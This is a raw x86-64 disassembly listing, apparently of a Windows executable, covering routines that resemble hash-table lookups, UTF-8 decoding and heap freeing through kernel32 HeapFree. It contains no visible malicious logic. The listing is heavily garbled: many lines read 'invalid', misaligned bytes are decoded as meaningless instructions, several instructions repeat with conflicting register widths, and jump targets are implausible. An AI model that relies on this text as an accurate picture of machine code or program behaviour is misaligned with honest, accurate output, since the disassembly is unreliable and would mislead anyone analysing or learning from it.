movaps xmmword [rbp + 0x180], xmm0
movdqu xmm0, xmmword [rbx + 0x10]
movdqa xmmword [rbp + 0x190], xmm0
movq qword [rbp + 0x190], mm0
movq qword [rbp + 0x190], mm0
cmp rax, rsi
cmp eax, esi
jne case.0x140048111.222
mov rbx, qword [rbp + 0xf8]
mov qword [rbp + 0x60], rsi
call fcn.14002401a
cmp qword [rbp + 0x60], rsi
jne 0x140033280
jmp 0x140033296
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rcx
movdqa xmm0, xmmword [rbp + 0x170]
add dword [rax], eax
add byte [rdi], cl
sub byte [rbp + 0x180], cl
add dword [rax], eax
add byte [rdi], cl
sub byte [rbp + 0x180], cl
movaps xmm2, xmmword [rbp + 0x190]
movdqu xmmword [rbp + 0x70], xmm0
jo 0x14003323c
adc dword [rbp + 0x80], ecx
jo 0x14003323c
adc dword [rbp + 0x80], ecx
movups xmmword [rbp + 0x90], xmm2
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0
movsd dword [rdi], dword [rsi]
movabs al, byte [0xa885c748000000]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0xb0], rdi
mov byte [rbp + 0xb8], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
mov byte [rbp + 0xba], 0
mov eax, dword [rbp + 0x130]
mov dword [rbp + 0xbb], eax
add byte [rax], al
add byte [rdx + 0x13485], cl
add byte [rax + 0xbf85], cl
add byte [rax - 0x75], cl
popfq
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 0x13485], cl
add byte [rax + 0xbf85], cl
add byte [rax - 0x75], cl
popfq
clc
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0x60]
call fcn.140032d30
test rax, rax
je 0x140033296
mov rcx, rax
call fcn.14002401a
lea rax, [r14 + 0x18]
mov qword [rbp - 0x50], rax
lea rax, [r14 + 0x58]
pop rax
pop rax
mov qword [rbp - 0x28], rax
lea rax, [r14 + 0xe0]
loopne 0x1400332ab
add byte [rax], al
loopne 0x1400332ab
add byte [rax], al
mov qword [rbp - 8], rax
lea rax, [r14 + 0xd0]
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x40], eax
mov dword [rbp - 0x40], eax
lea rax, [r14 + 0x30]
mov qword [rbp - 0x48], rax
lea rax, [r14 + 0xc8]
add byte [rax], al
add byte [rax], al
mov qword [rbp - 0x38], rax
lea rax, [r14 + 0xb8]
mov qword [rbp - 0x30], rax
lea rax, [r14 + 0xd8]
mov qword [rbp], rax
lea rax, [r15 + 0x80]
add byte [rax], 0
add byte [rax - 0x77], cl
push r8
add byte [rax], 0
add byte [rax - 0x77], cl
push r8
lea r13, [r15 + 0x180]
lea rax, [r15 + 0x100]
add byte [rcx - 0x73], cl
xchg dword [rax], eax
add dword [rax], eax
add byte [rax - 0x77], cl
and byte [r14 + 0xf], r12b
jbe 0x1400332fc
add byte [rax], al
mov qword [rbp + 0x20], rax
pcmpeqd xmm6, xmm6
mov dword [rbp + 0x30], 0
xor eax, eax
mov qword [rbp + 0x28], rax
mov dword [rbp + 0xc4], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0x45
sbb byte [rcx + rcx*4 - 0x43], cl
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0x45
sub bh, al
test esp, eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0x45
sbb byte [rcx + rcx*4 - 0x43], cl
add byte [rcx], al
mov ebp, 0x100
add byte [rax], al
mov qword [rbp + 0x128], r13
add byte [rdi], cl
movabs dword [0x888f8b492772c1], eax
add byte [rax], al
add byte [rax], al
xchg ebp, eax
add byte [rax], al
add byte [rbx - 0x74b3cfb3], cl
push rax
push rax
push rax
or al, 0x48
mov edi, 0xfffffff5
invalid
invalid
invalid
adc byte [rdi], 0xb4
sub al, 0x48
mov edi, 0xfffffff5
invalid
invalid
invalid
rol dword [rax - 0x142cb418], 6
jmp 0x1096c7c21
imul ecx, ecx, 0x44b83
mov ecx, dword [rbp + 0x28]
sub byte [rax + 0xf], cl
enter 0xffffffffffff8948, 0x4d
sub byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x60453948], al
invalid
retf 0x3b9a
add dl, cl
invalid
adc byte [rcx - 0x75], cl
push rsi
sub byte [rcx - 0x75], cl
mov dh, 0xb0
mov al, 0
add byte [rax], al
invalid
invalid
push rsi
mov al, 0
add byte [rax], al
sbb byte [rbp + 0xd], dh
mov ecx, dword [rbp - 0x50]
mov eax, dword [rsi + 0x20]
and byte [rax - 0x77], cl
xor al, 0xd0
mov dword [rax + rdx*8], esi
mov edx, ebp
mov esi, dword [rbp + 0x170]
movabs rcx, 0x7ffffffffffffff6
invalid
clc
add edi, dword [rax]
enter 0xffffffffffff8d48, 0x15
movabs al, byte [0x488a0463480005a8]
invalid
add al, 0x8a
add rax, rdx
invalid
mov edi, dword [rbp + 0x178]
add byte [rcx], 0
add byte [rax - 0x77], cl
test dword [rax + 1], esp
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x19085], cl
nop
add dword [rax], eax
test dword [rax - 0x76ffffff], edx
xor al, 0x8b
mov eax, dword [rbp + 0x194]
mov dword [rbp + 0x38], eax
cmp r8b, r14b
nop
add dword [rax], eax
add byte [rcx - 0x7a74cbbb], cl
xchg esp, eax
add dword [rax], eax
add byte [rcx + 0x49f03845], cl
cmp r8b, r14b
sub qword [r15 + 0x1c8], 2
cmp r8b, r14b
sub qword [r15 + 0x1c8], 2
invalid
sub al, 0
add byte [rax - 0x77], cl
clc
shr eax, 8
add byte [rax], al
add byte [rax - 0x42], cl
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1a8e9], al
add byte [rcx - 0x75], cl
mov rax, qword [r15 + 0x110]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r15 + 0x110], rcx
mov ecx, eax
test eax, eax
mov esi, edx
mov dword [rbp + 0x130], eax
mov dword [rbp + 0x138], edx
and byte [rax - 0x73], cl
xchg ebp, eax
xor byte [rcx], al
add byte [rax], al
invalid
int1
jo case.0x14001f905.193
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
add dword [rax], eax
add byte [rax - 0x73], cl
or al, 0x3e
jg 0x1400336cc
add eax, esi
clc
add dh, byte [rcx + rdx*2 + 0x48]
cmp eax, 1
clc
invalid
clc
add dword [rbp + 0x5c], esi
add byte [rax], al
add byte [rax], al
xor byte [rcx], 0xff
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
invalid
test dl, dl
rol byte [rax + rax], cl
invalid
add byte [rax - 0x75], cl
test dword [rax + 0x48000001], eax
mov dword [rbp + 0x160], eax
invalid
add dword [rax], eax
invalid
mov eax, dword [rbp + 0x180]
invalid
nop
add dword [rax], eax
add byte [rcx - 0x7a74cbbb], cl
xchg esp, eax
add dword [rax], eax
add byte [rcx + 0x49f03845], cl
sub qword [r15 + 0x1c8], 2
add byte [rax], al
add byte [rbp - 0x77], cl
loop 0x14003382d
mov dword [rsi + 0x48], eax
rol byte [rax], 0
mov ecx, edx
add byte [rdi], cl
test ah, bl
sldt word [rax]
xlatb
invalid
and byte [rcx - 1], cl
jmp 0x1400339b1
rol byte [rax], 0
add byte [rbx + rcx*4 - 0x53], cl
sub byte [rcx], al
add byte [rax], al
adc byte [rax - 0x77], cl
test eax, eax
add dword [rax], eax
add byte [rcx + 0x21], cl
invalid
int3
jmp 0x14003ef59
dec dword [rax - 0x75]
clc
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
mov edx, dword [rsi]
call fcn.140062982
add rdi, rax
add rsi, 0x28
dec rbx
dec ebx
dec ebx
jne 0x14003ef5a
jmp 0x14003ef76
mov rax, rdi
add rsp, 0x20
invalid
and byte [rbx + 0x5f], bl
pop rsi
ret
invalid
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov r15d, dword [rdx + 0xa8]
mov edi, dword [rdx + 0xa8]
mov edi, dword [rdx + 0xa8]
mov edx, 0xa8
add byte [rax], al
mov ebx, dword [rdx + 0xac]
movzx ebp, word [rdx + 0xb0]
movzx r14d, word [rdx + 0xb2]
mov r12, qword [rdx + 0xa0]
mov esp, dword [rdx + 0xa0]
mov esp, dword [rdx + 0xa0]
movabs byte [0xe8f98948000000a0], al
xchg ecx, eax
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rcx + rdi*2 + 0x45], 0x8b
je 0x14003f03e
mov r11d, dword [r12 + 0x1c]
mov rcx, rdi
call fcn.14003f051
test rax, rax
je 0x14003f03e
mov r11d, dword [r12 + 0x1c]
movzx r8d, word [r12 + 0x20]
movzx eax, word [rsp + 0x20]
and byte [rcx + 0xf], al
mov bh, 0x4c
and al, 0x22
movzx ecx, word [r12 + 0x22]
cmp rdx, 1
jne 0x14003efe1
cmp byte [rax], 0xa
or dh, byte [rdi + rdx*8 + 0x45]
mov ecx, dword [rsp + 0x18]
je 0x14003efb8
mov r9d, dword [r12 + 0x18]
cmp r9b, 0x13
cmove r9d, r15d
cmove ecx, edi
cmove ecx, edi
cmp r9b, 0x14
je 0x14003efb8
mov r10d, r9d
shr r10d, 8
invalid
or byte [rcx - 0x80], al
sti
adc eax, dword [rcx + 0xf]
fild dword [r9 - 0x77]
mov r11d, ecx
cmp r11b, 0x13
cmovne ebx, r11d
mov r11d, ecx
not r11d
and ebp, r11d
or ebp, r8d
not r8d
and r14d, r8d
or r14d, ecx
invalid
mov qword [rsi], rax
mov qword [rsi + 8], rdx
invalid
invalid
or byte [rax + rcx*4 + 0x4e], al
adc byte [rcx - 0x3f], al
jmp 0x18e8c3442
sbb byte [rax + rcx*4 + 0x4e], al
mov byte [rsi + 0x10], r9b
shr r9d, 0x18
sbb byte [rax + rcx*4 + 0x4e], al
adc esp, dword [rsi + 0x44]
mov dword [rsi + 0x11], edx
sbb byte [rax + rcx*4 + 0x4e], al
adc esp, dword [rsi + 0x44]
mov dword [rsi + 0x11], edx
mov dword [rsi + 0x14], ebx
mov word [rsi + 0x18], bp
mov word [rsi + 0x1a], r14w
sbb ch, bl
invalid
sbb ch, bl
add al, 0xc6
adc byte [rax + r9*2], r10b
add esp, 0x20
mov byte [rsi + 0x10], 0x14
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, qword [rcx + 0x20]
cmp rsi, qword [rcx + 0x68]
cmp esi, dword [rcx + 0x68]
cmp esi, dword [rcx + 0x68]
jne 0x14003f072
xor eax, eax
jmp 0x14003f707
mov rdi, rcx
cmp rsi, qword [rcx + 0x28]
je 0x14003f7b0
test byte [rcx], dh
invalid
add byte [rax], al
test byte [rcx], dh
invalid
xor dword [rdi], eax
add byte [rax], al
mov r14, qword [rdi + 0x90]
mov rbx, qword [rdi + 0x98]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
fmul dword [rax - 0x7b]
div byte [rsi + rbp + 0x48]
mov eax, ebx
add byte [rax], al
mov rax, rbx
test rsi, rsi
je case.0x1400212ac.199
mov rax, rbx
sub rax, rsi
jbe 0x14003f0c1
invalid
cmp byte [r14 + rsi], 0xbf
jg case.0x1400212ac.199
invalid
invalid
lea rax, str.__G___ui_hH2__S_L_tL_J_e__4XmLvp_v__VTt_bYC_E_6_N__v___yNr9__jp__o9_s_k__Ay_8t___f__Vg8Gm_jdj_e__p__ib_y9_h
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbx
mov r8, rsi
mov r9, rbx
call fcn.140073dc0
add r8, qword [rax]
add r8, qword [rax]
add eax, dword [rax]
jne 0x14003f0a4
test rax, rax
je 0x14003f7a4
lea r12, [r14 + rsi]
and al, 0x36
mov r8b, byte ss:[r12]
mov r8b, byte [r12]
movzx ebp, r8b
test bpl, bpl
js 0x14003f0e4
lea r13, [r12 + 1]
lea ebp, [rsp + 1]
insb byte [rdi], dx
and al, 1
jmp 0x14003f153
mov ecx, ebp
and ecx, 0x1f
loope 0x14003f108
movzx r9d, byte [r12 + 1]
mov dh, 0x4c
and al, 1
and r9d, 0x3f
cmp bpl, 0xdf
fbstp tbyte [rsi + 0x3f]
jbe 0x14003f138
movzx edx, byte [r12 + 2]
mov dh, 0x54
and al, 2
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
retf 0x8041
cmp r8b, 0xf0
jb 0x14003f147
movzx ebp, byte [r12 + 3]
and ecx, 7
loope 0x14003f11f
loope 0x14003f11f
invalid
shl ecx, 0x12
shl edx, 6
and ebp, 0x3f
in eax, 0x3f
or ebp, edx
or ebp, ecx
cmp ebp, 0x110000
std
add byte [rax], al
adc dword [rax], eax
std
add byte [rax], al
adc dword [rax], eax
je 0x14003f7a4
lea r13, [r12 + 4]
insb byte [rdi], dx
and al, 4
jmp 0x14003f153
lea r13, [r12 + 2]
insb byte [rdi], dx
and al, 2
shl ecx, 6
or ecx, r9d
leave
leave
mov ebp, ecx
jmp 0x14003f153
lea r13, [r12 + 3]
shl ecx, 0xc
or edx, ecx
mov ebp, edx
add r12, rax
cmp byte [rdi + 0x3d], 0
sete al
jg 0x14003f196
add byte [rdi], cl
xchg esp, eax
shr byte [rax - 0x47a68bff], 1
add byte [rax], al
add byte [rcx + 0x80fd], al
add byte [rdx + 0x1c], dh
add al, 0
add byte [rax], al
sbb eax, 0
js 0x14f4030e5
or eax, eax
movzx ecx, byte [rdi + 0x3e]
add dword [rax], eax
add byte [rbx - 0x7bf0fd07], al
and al, 4
add byte [rax], al
or eax, dword [rbx - 0x80]
cmp al, 0x3e
mov edi, 0x4ce8e0f
invalid
add al, 0
invalid
invalid
inc byte [rax + 0x217dc0f9]
ror dword [rax + 0x478a3f47], 0x40
invalid
clc
or eax, 0x9d870f
add byte [rax], al
or eax, 0x4ead0
loopne 0x14003f3c0
rol byte [rax - 0x6bf0f607], cl
rol byte [rax + 0x707405f9], 0x88
cmp cl, 5
je case.0x14003f38b.2
mov dl, al
invalid
invalid
stc
add eax, 0xc2887074
pop rbp
invalid
add al, byte [rax]
add byte [rdx + 0x13c3c47], cl
mov al, byte [rdi + 0x3c]
cmp al, 1
add byte [rax], al
add byte [rax + 0x4f8801d1], al
xor al, 1
add al, byte [rax]
add byte [rax - 0x78f0f207], al
mov byte [rdx], 0
add byte [rax + 0x3180], bh
add byte [rax], al
stc
or eax, 0x2c6870f
add byte [rax], al
add byte [rax], al
invalid
add al, byte [rax]
add byte [rsp + rax], bh
xchg edi, eax
add dword [rax], eax
add byte [rcx + 0x39], cl
fisttp word [rax - 0x75]
and al, 0x30
add eax, dword [rax]
add byte [rdx - 0x76], al
cmp edi, r15d
add byte [rax], al
add byte [rcx + 0x39], cl
fbstp tbyte [rbx + 0xb]
add eax, dword [rax]
add byte [rbp + 1], cl
test dword [rbp + 0x31], 0x478a41f6
inc dword [rax + rax*8 - 0xb6f788]
test al, al
js 0x14003f4cd
dec r15
shr bl, 1
push rdi
push rdi
std
shl eax, 6
loope 0x14003f520
inc byte [r8 + 0x387dc0f9]
inc byte [rax + 0x387dc0f9]
and eax, 7
add byte [rax], al
add cl, ch
xlatb
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
add edi, 0xfffffffd
invalid
mov eax, dword [rsp + 0x28]
or eax, 0x420df
add eax, dword [rax]
invalid
jo 0x14003f7d3
invalid
invalid
mov dword [rsp + 0x20], eax
add dword [rbp + rcx*4 + 5], ecx
mov ch, 0xe6
add al, 0
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov dword [rcx], ecx
lea rax, [0x140081890]
mov qword [rsp + 0x20], rax
lea rax, [0x14008197b]
mov r8d, 0xa
mov rcx, rdx
mov rdx, rax
call fcn.14001dd90
nop
add rsp, 0x38
ret
add byte [rax], al
add byte [rdi + 0x5e], bl
ret
dec dword [rdi]
test bh, ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov rbx, qword [rcx + 0x18]
test rbx, rbx
je 0x14004013a
mov rax, qword [rsp + 0x20]
and al, 0x20
mov r14, qword [rax]
movdqa xmm0, xmmword [r14]
pmovmskb r13d, xmm0
not r13d
not ebp
not ebp
lea r15, [r14 + 0x10]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
test r13w, r13w
jne 0x1400400f4
movdqa xmm0, xmmword [r15]
pmovmskb r13d, xmm0
call 0xc0ca822a
cld
invalid
dec dword [rcx - 0x7d]
invalid
adc byte [rcx - 0x7f], al
std
invalid
inc dword [rax]
invalid
je 0x1400400d3
call 0xc0ca822a
cld
invalid
not r13d
bsf eax, r13d
neg rax
imul rax, rax, 0x38
lea rbp, [r14 + rax]
lea ebp, [rsi + rax]
lea ebp, [rsi + rax]
cmp qword [r14 + rax - 0x30], 0
je 0x14004011b
mov r8, qword [rbp - 0x28]
mov rcx, qword [0x14009e2b0]
xor edx, edx
call r12
dec rbx
dec ebx
lea esi, [r13 - 1]
and esi, r13d
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.140040194
mov r13d, esi
test rbx, rbx
jne 0x1400400cd
lea rax, [rdi + 1]
mov ecx, 0x38
mul rcx
add rax, 0xf
and rax, 0xfffffffffffffff0
add rdi, rax
cmp rdi, 0xffffffffffffffef
mov rcx, qword [rsp + 0x20]
je 0x140040182
mov r8, qword [rcx]
sub r8, rax
mov rcx, qword [0x14009e2b0]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ret
or byte [rbp - 0xa], dh
cmp rdx, 0xfffffffffffffffe
je 0x140040199
mov rcx, qword [0x14009e2b0]
xor edx, edx
jmp qword [sym.imp.kernel32.dll_HeapFree]
push 0xf01100f
adc byte [rcx + 0x10], cl
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
sub dword [rsp + 0x20], eax
mov qword [rcx], 0
mov byte [rcx + 0x40], 2
cmp qword [rsp + 0x20], 0
je 0x1400401fd
lea rcx, [rsp + 0x30]
call fcn.14004007e
nop
add rsp, 0x68
ret
loopne 0x140040221
add byte [rax], al
movapd xmmword [rsp + 0x3d0], xmm14
movaps xmmword [rsp + 0x3d0], xmm14
movapd xmmword [rsp + 0x3c0], xmm13
movaps xmmword [rsp + 0x3b0], xmm12
movaps xmmword [rsp + 0x3a0], xmm11
movdqa xmmword [rsp + 0x390], xmm10
and al, 0xb0
add eax, dword [rax]
add byte [rdi + rcx + 0x29], al
pushfq
and al, 0xa0
add eax, dword [rax]
add byte [rsi + 0x44], ah
movq qword [rsp + 0x390], mm2
movapd xmmword [rsp + 0x380], xmm9
movapd xmmword [rsp + 0x370], xmm8
movapd xmmword [rsp + 0x360], xmm7
and al, 0x60
add eax, dword [rax]
add byte [rsi + 0xf], ah
sub dword [rsp + 0x350], esi
and al, 0x60
add eax, dword [rax]
add byte [rsi + 0xf], ah
sub dword [rsp + 0x350], esi
mov rbx, rdx
mov qword [rsp + 0x138], rcx
mov eax, dword [0x14009e334]
loopne 0x14004028b
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
loopne 0x14004028b
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x60], 0
je 0x1400402a7
lea rsi, [rax + 0x68]
jmp 0x1400402ba
xor ecx, ecx
call fcn.14003fec9
mov rsi, rax
invalid
test rax, rax
je 0x14004383f
cmp qword [rsi], 0
jne 0x140043819
mov qword [rsi], 0xffffffffffffffff
mov al, byte [rbx + 0x1c]
sbb al, 0x88
and al, 0x70
mov ebx, dword [rsp + 0x138]
test ecx, ebp
add byte [rax], al
add byte [rsi + 0x39], ah
outsb dx, byte [rsi]
int3
mov bl, byte [rsp + 0x70]
add byte [rax], al
stc
jmp 0x1403032c1
and al, 0x38
invalid
jmp 0x1402fdf15
mov dword [rax + rdx*8], ebp
cmp byte [rax - 0x75], cl
and al, 0x58
and al, 0x58
and al, 0x58
std
dec dword [rax - 0x39]
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
and al, 0xb8
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
and al, 0xb8
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
sub dh, cl
invalid
push rsp
and al, 0x28
cmp byte [rax - 0x75], cl
and al, 0x30
add byte [rax], al
add byte [rax - 0x77], cl
mov ah, 0x24
mov eax, 0x4c000000
mov ecx, edi
iretd
mov edx, dword [rsp + 0x38]
and al, 0x38
add byte [rbp + rcx*2 + 0x4c], dh
mov esi, dword [rsp + 0x58]
mov al, 0
add byte [rax], al
xor eax, eax
xor r8, r8
add byte [rax], al
add eax, 0x8b4c0000
je 0x140040f8b
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
add bl, dh
movd dword [0x140078240], mm3
fmul dword [rbp - 0x76b70003]
stc
movaps xmm1, xmm0
invalid
dec dword [rax - 0x77]
ret
lea edi, [rsp + 0x28]
and al, 0x38
mov ah, 0
add byte [rax], al
shl eax, 5
lea ecx, [rsp + 0xb0]
and al, 0x38
add edi, 0x20
mov bh, 0xc4
movsb byte [rdi], byte [rsi]
and al, 0x28
sub byte [rcx], al
add byte [rax], al
movzx eax, r12w
add byte [rax], al
xor r13d, r13d
mov al, 0
add byte [rax], al
jo 0x14004119f
add byte [rax - 0x73], cl
sub eax, 0x4cd30
add al, 0
add dl, dh
movups xmm14, xmmword [0x140078218]
movd dword [0x140078210], mm2
add byte [rax - 1], cl
iretd
add byte [rax], al
invalid
invalid
sub byte [rbp + 0xf], dh
dec dword [rax - 0x77]
fldenv [rsi + 0xf]
sub bh, cl
push rsp
and al, 0x38
lea ecx, [rsp + 0x28]
invalid
and al, 0x30
push rax
xor al, 0x29
movzx edi, word [rcx + rbp + 2]
sub dword [rdx], eax
xor eax, eax
add byte [rsi - 0x75], al
jl 0x1400412d4
add al, 0x46
mov esp, dword [rcx + rbp + 8]
or byte [rax - 0x75], cl
invalid
fld dword [rbp + 0x31]
shl byte [rsi + 0x41], 0xf
outsd dx, dword [rsi]
fld1
invalid
xor eax, eax
leave
cvtpi2ps xmm1, mm7
sub cl, bh
sub al, ah
movsb byte [rdi], byte [rsi]
and al, 0x28
sub byte [rcx], al
add byte [rax], al
divsd xmm1, xmm0
sub byte [rcx], al
add byte [rax], al
mov edx, dword [rsi]
std
dec dword [rcx - 0x77]
invalid
inc byte [rsi*2 + 0x448b4862]
and al, 0x50
leave
add bl, dh
movd dword [0x140078220], mm1
cmp byte [rax - 0x75], cl
invalid
mov edx, dword [rsi]
and al, 0x38
push rax
mov bh, 0x7c
sub dword [rdx], eax
imul r15w, r12w
mov rdx, qword [rsi - 8]
mov rcx, rbx
xor r8d, r8d
movdqa xmm3, xmm9
call fcn.140019d5e
movzx eax, r15w
movzx eax, di
mov rsi, qword [rsp + 0x258]
iretd
out dx, eax
add al, byte [rax]
invalid
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rcx], dh
invalid
lea ecx, [rsp + 0x190]
add byte [rax + 0x16881], cl
add byte [rax - 0x39], cl
adc byte [r8], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x57], cl
rol byte [rax], 0
add byte [rsi + 0x41], ah
movq mm0, qword [r13]
movq mm0, qword [r13]
pmovmskb r14d, mm0
or byte [rdx], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
add byte [rdx], 0
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xf8
add byte [rax], al
add byte [rcx + rcx*4 - 0x6c], cl
invalid
xchg esp, eax
and al, 0x80
add byte [rax], 0
mov dword [rsp + 0x80], edx
add byte [rax], 0
add byte [rcx + rcx*4 + 0x5c], cl
and al, 0x78
test byte [rbx + 2], al
add byte [rax], al
outsd dx, dword [rsi]
invalid
pmovmskb r14d, mm0
cmp esi, 0xffff
invalid
jo 0x140042ac7
inc dword [rcx + 0x21]
invalid
clc
push 0x24948b48
mov byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x2f], cl
je 0x140042b06
neg eax
and edi, edi
invalid
rcl dword [rdi - 3]
dec dword [rcx + rcx*4 - 0x1f]
mov esp, 0x488d45d0
inc dword [rbp + 0x21]
ror dword [rax + 1], 0xca
add byte [rbp - 0x28], dh
add eax, 0x10
clc
dec dword [rax - 0x73]
or eax, 0x35a5c
add al, ch
pop rbx
add al, byte [rbx]
add byte [rcx + 4], bh
mov edx, esi
sub rsp, 0x28
mov rdi, r9
mov rbx, r8
mov r14, rdx
mov rsi, rcx
mov r12, qword [rdx + 0x20]
and byte [rbx + rcx*4 + 0x6a], cl
sub byte [rcx + rcx*4 - 0x1f], cl
and byte [rbx + rcx*4 + 0x6a], cl
sub byte [rcx + rcx*4 - 0x1f], cl
mov rdx, r13
call fcn.140018536
mov r15, rax
cmp qword [r14 + 0x10], 0
je 0x14004398d
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
mov r9, rdx
and r9, r15
shr r15, 0x39
movd xmm0, r15d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
lea r10, [rcx - 0x18]
xor r11d, r11d
pcmpeqd xmm1, xmm1
xor r12d, r12d
movdqu xmm2, xmmword [rcx + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r13d, xmm3
test r13w, r13w
je case.0x14001f905.243
bsf ebp, r13d
lea eax, [r13 - 1]
and eax, r13d
add rbp, r9
and rbp, rdx
neg rbp
lea rbp, [rbp + rbp*2]
mov r13d, eax
cmp qword [r10 + rbp*8], rbx
jne 0x1400438ee
jmp 0x140043957
cmp r12, 1
mov r12d, 1
je case.0x14001fcde.240
pmovmskb eax, xmm2
xor r12d, r12d
test eax, eax
setne r12b
bsf r8d, eax
add r8, r9
and r8, rdx
pcmpeqb xmm2, xmm1
pmovmskb eax, xmm2
test eax, eax
jne 0x1400439a0
add r9, r11
add r9, 0x10
add ecx, 0x10
add ecx, 0x10
add r11, 0x10
and r9, rdx
jmp 0x1400438db
movdqu xmm0, xmmword [rcx + rbp*8 - 0x10]
mov qword [rcx + rbp*8 - 0x10], rdi
mov rax, qword [rsp + 0x90]
mov qword [rcx + rbp*8 - 8], rax
movdqu xmmword [rsi + 8], xmm0
mov eax, 1
mov qword [rsi], rax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r14
mov rdx, r12
mov r8, r13
mov eax, ebp
call fcn.14007567d
jmp 0x1400438a9
mov r9b, byte [rcx + r8]
test r9b, r9b
js 0x1400439b9
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
bsf r8d, eax
mov r9b, byte [rcx + r8]
and r9b, 1
movzx eax, r9b
sub qword [r14 + 0x10], rax
lea rax, [r8 - 0x10]
and rdx, rax
mov byte [rcx + r8], r15b
mov byte [rdx + rcx + 0x10], r15b
inc qword [r14 + 0x18]
neg r8
lea rax, [r8 + r8*2]
mov qword [rcx + rax*8 - 0x18], rbx
mov qword [rcx + rax*8 - 0x10], rdi
mov rdx, qword [rsp + 0x90]
mov qword [rcx + rax*8 - 8], rdx
mov dword [rcx + rax*8 - 8], edx
mov dword [rcx + rax*8 - 8], edx
xor eax, eax
jmp 0x140043979
mov dword [rbx], eax
lea rbx, [rsp + 0x28]
mov r8d, 2
mov rcx, rdi
stosd dword [rdi], eax
invalid
lock dec qword [rax]
jne 0x140047c19
mov rcx, rax
call fcn.1400479f0
lea rsi, [rbx + 0x18]
lea r14, [rsp + 0x20]
mov ecx, 0xd
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rbx]
call fcn.140053a40
add byte [rax], al
add byte [rax], al
mov rcx, r14
call fcn.14004731b
mov rsi, qword [rbx + 8]
or byte [rax - 0x7d], cl
jle 0x140047c5d
invalid
je 0x140047c5a
or byte [rax - 0x7d], cl
jle 0x140047c5d
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140047c5a
mov rdx, qword [rsi + 0x28]
call fcn.140047b3c
push rsi
sub al, ch
loop 0x140047c56
invalid
mov qword [rsi + 0x18], 1
mov qword [rsi + 0x20], 0
mov rax, qword [rbx + 8]
mov qword [rsp + 0x20], rax
sbb byte [rcx], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
and byte [rax], r8b
add byte [rax], al
add byte [rax - 0x75], cl
or byte [r8 - 0x77], cl
and al, 0x20
lock dec qword [rax]
jne 0x140047c83
lea rcx, [rsp + 0x20]
and al, 0x20
call fcn.140047a3e
nop
add rsp, 0x88
add byte [rax], al
add byte [rbx + 0x5f], bl
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
in al, dx
cmp byte [rax - 0x77], cl
ror byte [rax - 0x73], 1
push rsp
and al, 0x30
mov qword [rdx], rcx
